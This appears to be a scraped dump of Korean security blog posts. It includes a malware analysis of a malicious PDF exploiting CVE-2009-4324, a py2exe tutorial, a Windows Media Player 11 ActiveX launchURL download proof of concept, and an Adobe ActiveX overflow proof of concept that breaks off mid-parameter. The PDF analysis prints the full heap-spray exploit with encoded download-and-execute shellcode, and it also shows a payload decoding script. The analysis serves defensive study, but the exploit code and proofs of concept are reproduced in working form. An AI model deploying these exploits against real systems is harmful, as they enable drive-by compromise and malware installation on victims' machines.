자바스크립트로 보이는 코드가 존재합니다.\n해당 코드 중 \\r \\n 부분은 replace를 통해 제거를 합니다. 제거 후 보기 좋게 정렬을 하면 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function urpl(sc) { var keyu = \u0026#34;%u\u0026#34;; var re = /XX/g; var dadong = app.viewerVersion.toString(); dadong = dadong.replace(/\\\\D/g, \u0026#34;\u0026#34;); if (! (dadong.charAt(0) == \u0026#34;1\u0026#34;)) sc = sc.replace(re, keyu); return sc; } function xxsc(sc) { var dadong = app.viewerVersion.toString(); dadong = dadong.replace(/\\\\D/g, \u0026#34;\u0026#34;); var sprdataxx = \u0026#34;XX0c0cXX0c0c\u0026#34;; var esprpl = unescape; var urpled = esprpl(urpl(sc)); var blknum = 0x10000; var sprdata = esprpl(urpl(sprdataxx)); while (sprdata.length \u0026lt; blknum) sprdata += sprdata; sprblk = sprdata.substr(0, sprdata.length); scblk = urpled.substr(0, urpled.length); memory = new Array(); if (! (dadong.charAt(0) == \u0026#34;1\u0026#34;)) for (x = 0; x \u0026lt; 1500; x++) memory[x] = sprblk + scblk; } var s = \u0026#34;XX9090XX5858XX5858XX10EBXX4B5BXXC933XXB966XX03B8XX3480XXBD0BXXFAE2XX05EBXXEBE8XXFFFFXX54FFXXBEA3XXbdbdXXD9E2XX8D1CXXBDBDXX36BDXXB1FDXXCD36XX10A1XXD536XX36B5XXD74AXXE4ACXX0355XXBDBFXX2DBDXX455FXX8ED5XXBD8FXXD5BDXXCEE8XXCFD8XX36E9XXB1FBXX0355XXBDBCXX36BDXXD755XXE4B8XX2355XXBDBFXX5FBDXXD544XXD3D2XXBDBDXXC8D5XXD1CFXXE9D0XXAB42XX7D38XXAEC8XXD2D5XXBDD3XXD5BDXXCFC8XXD0D1XX36E9XXB1FBXX3355XXBDBCXX36BDXXD755XXE4BCXXD355XXBDBFXX5FBDXXD544XX8ED1XXBD8FXXCED5XXD8D5XXE9D1XXFB36XX55B1XXBCD2XXBDBDXX5536XXBCD7XX55E4XXBFF2XXBDBDXX445FXX513CXXBCBDXXBDBDXX6136XX7E3CXXBD3DXXBDBDXXBDD7XXA7D7XXD7EEXX42BDXXE1EBXX7D8EXX3DFDXXBE81XXC8BDXX7A44XXBEB9XXDCE1XXD893XXF97AXXB9BEXXD8C5XXBDBDXX748EXXECECXXEAEEXX8EECXX367DXXE5FBXX9F55XXBDBCXX3EBDXXBD45XX38B2XXBD68XXBDBDXXBDD7XXBDD7XXBED7XXBDD7XXBFD7XXBDD5XXBDBDXXEE7DXXFB36XX5599XXBCBCXXBDBDXXFB34XXD7DDXXEDBDXXEB42XX3495XXD9FBXXFB36XXD7DDXXD7BDXXD7BDXXD7BDXXD7B9XXEDBDXXEB42XXD791XXD7BDXXD7BDXXD5BDXXBDA2XXBDB2XX42EDXX81EBXXFB34XX36C5XXD9F3XXC13DXX42B5XXC91FXX3DB1XXB5C1XXBD42XXB8C9XXC93DXX42B5XX5F1FXX3456XX3D3BXXBDBDXX7ABDXXCDFBXXBDBDXXBDBDXXFB7AXXBDC9XXBDBDXXD7BDXXD7BDXXD7BDXX36BDXXDDFBXX42EDXX85EBXX3B36XXBD3DXXBDBDXXBDD7XXF330XXECC9XXCB42XXEDCDXXCB42XX42DDXX8DEBXXCB42XX42DDXX89EBXXCB42XX42C5XXFDEBXX4636XX7D8EXX668EXX513CXXBFBDXXBDBDXX7136XX453EXXC0E9XX34B5XXBCA1XX7D3EXX56B9XX364EXX3671XX3E64XXAD7EXX7D8EXXECEDXXEDEEXXEDEDXXEDEDXXEAEDXXEDEDXXEB42XX36B5XXE9C3XXAD55XXBDBCXX55BDXXBDD8XXBDBDXXDED5XXCACBXXD5BDXXD5CEXXD2D9XX36E9XXB1FBXX9955XXBDBDXX34BDXX81FBXX1CD9XXBDB9XXBDBDXX1D30XX42DDXX4242XXD8D7XXCB42XX3681XXADFBXXB555XXBDBDXX8EBDXXEE66XXEEEEXX42EEXX3D6DXX5585XX853DXXC854XX3CACXXB8C5XX2D2DXX2D2DXXB5C9XX4236XX36E8XX3051XXB8FDXX5D42XX1B55XXBDBDXX7EBDXX1D55XXBDBDXX05BDXXBCACXX3DB9XXB17FXX55BDXXBD2EXXBDBDXX513CXXBCBDXXBDBDXX4136XX7A3EXX7AB9XX8FBAXX2CC9XX7AB1XXB9FAXX34DEXXF26CXXFA7AXX1DB5XX2AD8XX7A76XXB1FAXXFDECXXC207XXFA7AXX83ADXX0BA0XX7A84XXA9FAXXD405XXA669XXFA7AXX03A5XXDBC2XX7A1DXXA1FAXX1441XX108AXXFA7AXX259DXXADB7XXD945XX8D1CXXBDBDXX36BDXXB1FDXXCD36XX10A1XXD536XX36B5XXD74AXXE4B9XXE955XXBDBDXX2DBDXX455FXX8ED5XXBD8FXXD5BDXXCEE8XXCFD8XX36E9XX55BBXX42E8XX4242XX5536XXB8D7XX55E4XXBD88XXBDBDXX445FXX428EXX42EAXXB9EBXXBF56XX7EE5XX4455XX4242XXE642XXBA7BXX3405XXBCE2XX7ADBXXB8FAXX5D42XXEE7EXX6136XXD7EEXXD5FDXXADBDXXBDBDXX36EAXX9DFBXXA555XX4242XXE542XXEC7EXX36EBXX81C8XXC936XXC593XX48BEXX36EBXX9DCBXX48BEXX748EXXFCF4XXBE10XX8E78XXB266XXAD03XX6B87XXB5C9XX767CXXBEBAXXFD67XX4C56XXA286XX5AC8XX36E3XX99E3XX60BEXX36DBXXF6B1XXE336XXBEA1XX3660XX36B9XX78BEXXE316XX7EE4XX6055XX4241XX0F42XX5F4FXX8449XXC05FXX673EXXC6F5XX8F80XX2CC9XX38B1XX1262XXDE06XX6C34XXECF2XX07FDXX1DC2XX2AD8XXA376XXD919XX2E52XX598FXX3329XXB7AEXX7F11XXF6A4XX79BCXXA230XXEAC9XXB0DBXXFE42XX1103XXC066XX184DXXEF27XX1A43XX8367XX0BA0XX0584XX69D4XX03A6XXDBC2XX411DXX8A14XX2510XXADB7XX3D45XX126BXX4627XXA8EEXXD5DBXXC9C9XX87CDXX9292XXCACAXX93CAXXD4D7XXD3DCXXDCD9XXD3D2XXC9D8XXDE93XXD0D2XXD792XXDBDEXXD692XX8C8DXXD893XXD8C5XXBDBDXXBDBDXXBDBDXXBDBDXXBDBDXXEAEA\u0026#34;; xxsc(s); var str1 = unescape(\u0026#34;%u0d0c%u0d0c%u0d0c%u0d0c%u4170%u6d7a%u554b%u4d67%u794f%u514f%u6f4d%u585a%u764f%u4c56%u6f4b%u4858%u4249%u666d%u566f%u625a%u4567%u7568%u6a46%u5258%u714e%u7961%u7a61%u4878%u756b%u754d%u4c57%u647a%u5870%u4d46%u4462%u4b4f\u0026#34;); var knorton = null; util.printd(\u0026#34;iSEBmXdJuJaZPdfHPwpYufjzytWwzFeuuyQm\u0026#34;, new Date()); util.printd(\u0026#34;rWVYiRicDUOoKIBKkMkzGoxiXLdrLBPfKPZj\u0026#34;, new Date()); try { this.media.newPlayer(knorton); } catch(e) {} util.printd(str1, new Date()); 위와 같이 코드를 보기 좋게 정렬하는 방법은 여러 가지가 있겠지만 저같은 경우에는 Malzilla에서 Decoder 탭에서 Format code 버튼을 눌러 정렬 하거나 http://jsbeautifier.org 사이트에서 정렬을 하곤 합니다.\n그럼 코드를 살펴 보면 s 변수의 값이 쉘코드 임을 알 수 있습니다. 그리고 XX는 %u로 replace 됨을 알 수 있고요. 그럼 해당 부분만 따로 떼어 확인해 보도록 하겠습니다. 여기서 부터는 Malzilla를 사용하도록 하겠습니다.\nMalzilla : http://malzilla.sourceforge.net/\nMalzilla에서 [Misc Decoders] 탭에서 작업을 시작합니다. 우선 쉘코드를 붙여 넣습니다. 그리고 replace 기능을 이용하여 아래와 같이 XX를 %u로 변경 합니다.\n변경 후 Hex 값으로 정렬하기 위해 [UCS2 To Hex] 버튼을 누릅니다.\n이제 Hex 값 형태로 쉘코드가 만들어 졌습니다. 이 값들을 모두 복사하여 Malzilla에 [Hex view] 탭으로 옮겨가서 붙여넣도록 하겠습니다. 붙여 넣을땐 [Paste as hex]로 붙여 넣어야 합니다. 붙여 넣게 되면 아래와 같이 나오게 됩니다.\n여기서 보통 쉘코드가 XOR로 인코딩이 많이 되어 있어 오른쪽에 있는 [File XOR Key] 메뉴를 사용하여 XOR키를 찾아 보도록 하겠습니다. 해당 쉘코드가 특정 주소에서 파일을 다운로드 및 실행을 할거라 예상하고 http 문자열로 검색해 보도록 하겠습니다.\nhttp 입력 후 [Find] 버튼을 누르면 XOR키를 브루트 포스하여 http 문자열이 나올때 까지 돌게 됩니다. 맞는 키가 나오면 아래와 같이 Key에 표시가 됩니다. 여기서는 bd가 키군요. XOR 키를 찾았으니 적용을 해보도록 합니다. 하고 나니 주소가 보이는군요. 이제 해당 주소에서 파일을 다운로드 해보도록 하겠습니다.\n파일을 다운로드 하여 확인을 해보니 PE 파일이 아닌 data로 나오는군요? 무언가 이상합니다. 그래서 해당 파일을 다운로드 후 어떤 변환작업을 거친다고 생각할 수 있습니다. 그럼 이제 쉘코드를 다시 분석해보는 방법밖에는 없을거 같네요.\n쉘코드를 EXE 파일로 변환해주는 툴이 있습니다. iDefence 사에서 제공하는 Malcode Analysis Pack 에 보면 shellcode2exe 라는 툴이 있습니다. 해당 툴을 이용하여 exe 파일로 만들어 OllyDBG에서 분석을 해보도록 하겠습니다.\nMalcode Analysis Pack : http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack shellcode2exe : http://sandsprite.com/shellcode_2_exe.php\nshellcode2exe 서비스를 제공하는 사이트에서 쉘코드를 붙여넣은 후 EXE 파일을 다운로드 받습니다.\n이제 해당 파일을 OllyDBG로 열어 분석을 해보도록 하겠습니다. 열어서 트레이싱 하다 보면 파일을 다운로드 하는 부분이 존재합니다.\n저 파일은 이전에 정상적인 PE가 아닌 파일인 것으로 확인했던 파일입니다. 그럼 좀 더 내려가다 보면 어떠한 과정을 거치는 지 확인해볼 수 있을거 같네요. 좀 더 내려가 보겠습니다.\n이 부분이 문제의 부분입니다. 즉, 00, A2일 경우 XOR을 하지 않고 넘어가고 아닐 경우에만 A2 키로 XOR을 하는 것입니다. 이제 모든 의문이 풀린거 같습니다. 해당 내용을 스크립트화 하여 다운로드 했던 파일을 고쳐 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 #!/usr/bin/python import operator file = open(\u0026#39;k01.exe\u0026#39;, \u0026#39;rb\u0026#39;) data = file.read() newfile = open(\u0026#39;output.exe\u0026#39;, \u0026#39;wb\u0026#39;) for x in data: if ord(x) == 0x00 or ord(x) == 0xa2: newfile.write(chr(ord(x))) else: newfile.write(chr(operator.xor(ord(x), 0xa2))) 위 코드는 k01.exe 파일을 열어 00, A2를 제외만 모든 값을 A2키로 XOR을 하는 스크립트 입니다. 결과를 보도록 하죠.\n정상적인 PE 파일로 완성이 되었네요. 즉 정리를 하자면 PDF 파일을 열게되면 k01.exe 파일을 다운로드 하여 XOR 과정을 거친 후 해당 파일을 실행하는 쉘코드가 되겠네요.\nEOF\n","date":"2010-01-27T15:11:24Z","permalink":"/2010/01/27/pdf-%ED%8C%8C%EC%9D%BC-%EB%B6%84%EC%84%9D-cve-2009-4324/","title":"PDF 파일 분석 - CVE-2009-4324"},{"content":"Python 스크립트를 EXE 파일로 만드는 py2exe 사용법에 대해 포스팅 합니다. 공식 튜토리얼 : http://www.py2exe.org/index.cgi/Tutorial\n먼저 py2exe 모듈을 다운로드 합니다. py2exe 공식 사이트 : http://www.py2exe.org\n다운로드 링크에서 자신의 Python 버젼에 맞는 파일을 다운로드 하여 설치하도록 합니다. 설치가 끝났다면 이제 실습을 해보도록 하겠습니다.\n먼저 폴더를 하나 만든 후 해당 폴더안에 EXE로 만들고자 하는 Python 스크립트 파일을 복사해 놓습니다. 그리고 아래와 스크립트를 하나 작성합니다. 여기서는 exe.py 라는 이름으로 하도록 하겠습니다.\n1 2 3 4 5 # 파일명 : exe.py from distutils.core import setup import py2exe setup(console=[\u0026#39;EXE로 만들 파일명.py\u0026#39;]) 그럼 폴더에 exe.py 와 EXE로 만들고자 하는 스크립트 파일이 두개 있을 것입니다. 이제 아래와 같이 입력을 합니다.\n1 exe.py py2exe 무언가 주르르르르륵 지나간 후 dist 와 build 폴더가 생성 될 것입니다. dist 폴더를 확인해보면 EXE로 만들어진 파일이 있는것을 확인하실 수 있을 것입니다.\n하지만 이렇게 할 경우 파일이 다수 생성되게 됩니다. 불필요한 파일이나 옵션을 줘서 단일 파일로 생성도 가능합니다. http://www.py2exe.org/index.cgi/ListOfOptions\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 unbuffered : 만약 true로 설정하면 표준입출력에서 버퍼를 사용하지 않는 실행 파일을 생성하게 됩니다. optimize : 코드를 최적화 합니다. 0=최적화 안함 , 1=일반적 최적화, 2=추가 최적화 include : 포함할 모듈의 이름을 리스트 형태로 지정합니다. packages : 단일 모듈이 아닌 패키지 이름을 리스트 형태로 지정합니다. 여기에 명시된 패키지는 통상 서브 패키지까지 포함합니다. ignore : 패키지나 모듈을 찾다가 없으면 무시할 모듈을 명시합니다. exclude : 제외할 모듈을 명시합니다. dll_exclude : 제외할 DLL 파일을 명시합니다. dist_dir : 최종 바이너리를 생성할 경로를 지정합니다. 기본적으로는 setup.py 파일이 실행되는 디렉토리에 dist 디렉토리를 생성하게 됩니다. compressed : 압축된 zip 파일을 생성할 것인지 여부를 지정합니다. 불리언 값입니다. xref : 불리언 값입니다. 교차 참조를 보여줄 것인지 여부를 지정합니다. bundle_files : 번들링 여부를 결정합니다. 3=번들링하지 않음(디폴트), 2=기본번들링(파이썬 인터프리터를 포함하지 않음), 1=파이썬 인터프리터까지 번들링 skip_archive : 파이썬 바이트 코드 파일을 번들에 포함하지 않고 파일시스템에 직접 생성합니다. ascii : (불리언) encodings, codec 패키지를 포함하지 않습니다. custom_boot_script : 실행환경 세팅 후 실행할 파이썬 코드를 명시합니다. 코멘트로 uptx님이 알려주신 코드를 조금 수정하여 첨부하오니 참고하시기 바랍니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!c:\\python27\\python.exe from distutils.core import setup import py2exe excludes = [\u0026#39;pywin\u0026#39;, \u0026#39;pywin.debugger\u0026#39;, \u0026#39;pywin.debugger.dbgcon\u0026#39;, \u0026#39;pywin.dialogs\u0026#39;, \u0026#39;pywin.dialogs.list\u0026#39;, \u0026#39;win32com.server\u0026#39;] options = { \u0026#39;bundle_files\u0026#39;: 1, # create singlefile exe \u0026#39;compressed\u0026#39;: 1, # compress the library archive \u0026#39;excludes\u0026#39;: excludes, \u0026#39;dll_excludes\u0026#39;: [\u0026#39;w9xpopen.exe\u0026#39;] # we don\u0026#39;t need this, 윈도우가 있는 프로그램은 필요 } setup( options = {\u0026#39;py2exe\u0026#39;: options}, zipfile = None, # append zip-archive to the executable. console = [\u0026#39;run.py\u0026#39;] ) 끝으로 패키징한 파일이 정상적으로 실행이 안되는 경우가 있다. 이는 \u0026quot;Microsoft Visual C++ 2008 Redistributable Package\u0026quot; 가 설치되어 있지 않은 시스템에서 나는 문제이다.\nhttp://www.microsoft.com/download/en/details.aspx?displaylang=en\u0026id=29\n","date":"2010-01-20T14:23:37Z","permalink":"/2010/01/20/python-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A5%BC-exe-%ED%8C%8C%EC%9D%BC%EB%A1%9C-py2exe/","title":"Python 스크립트를 EXE 파일로! py2exe"},{"content":"윈도우 미디어 플레이어 11 버젼에 대한 ActiveX 취약점 입니다. 다운로드 취약점이라 실행까지는 되지 않지만 충분히 악용될 가능성이 있는 취약점으로 보이네요..\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;!------- This is a vulnerability into Windows Media Player ActiveX launchURL() function which someone can download what ever file into the vulnerable machine !!! Discovered and written by Jacky! Tested version: 11.0.5358.4827 Tested machine: Windows XP SP3 \u0026amp; Windows XP SP2 ---------\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;object id=\u0026#39;test\u0026#39; classid=\u0026#39;clsid:{6BF52A52-394A-11d3-B153-00C04F79FAA6}\u0026#39;\u0026gt;\u0026lt;/object\u0026gt; \u0026lt;script\u0026gt; arg1=\u0026#39;http://\u0026lt;BLAH BLAH BLAH FILE\u0026gt;\u0026#39;; test.launchURL(arg1); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","date":"2010-01-18T04:52:42Z","permalink":"/2010/01/18/windows-media-player-11-activex-launchurl-files-download/","title":"Windows Media Player 11 ActiveX launchURL() files download"},{"content":"Adobe 사이트에서 프로그램을 다운로드 받을 때 사용하는 ActiveX로 보입니다....\n[POC Code]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 \u0026lt;object id=TestObj classid=\u0026#34;CLSID:{E2883E8F-472F-4fb0-9522-AC9BF37916A7}\u0026#34; style=\u0026#34;width:100;height:350\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;_cx\u0026#34; VALUE=\u0026#34;0xFFFFFFFF\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;_cy\u0026#34; VALUE=\u0026#34;0xFFFFFFFF\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;Service-URL\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx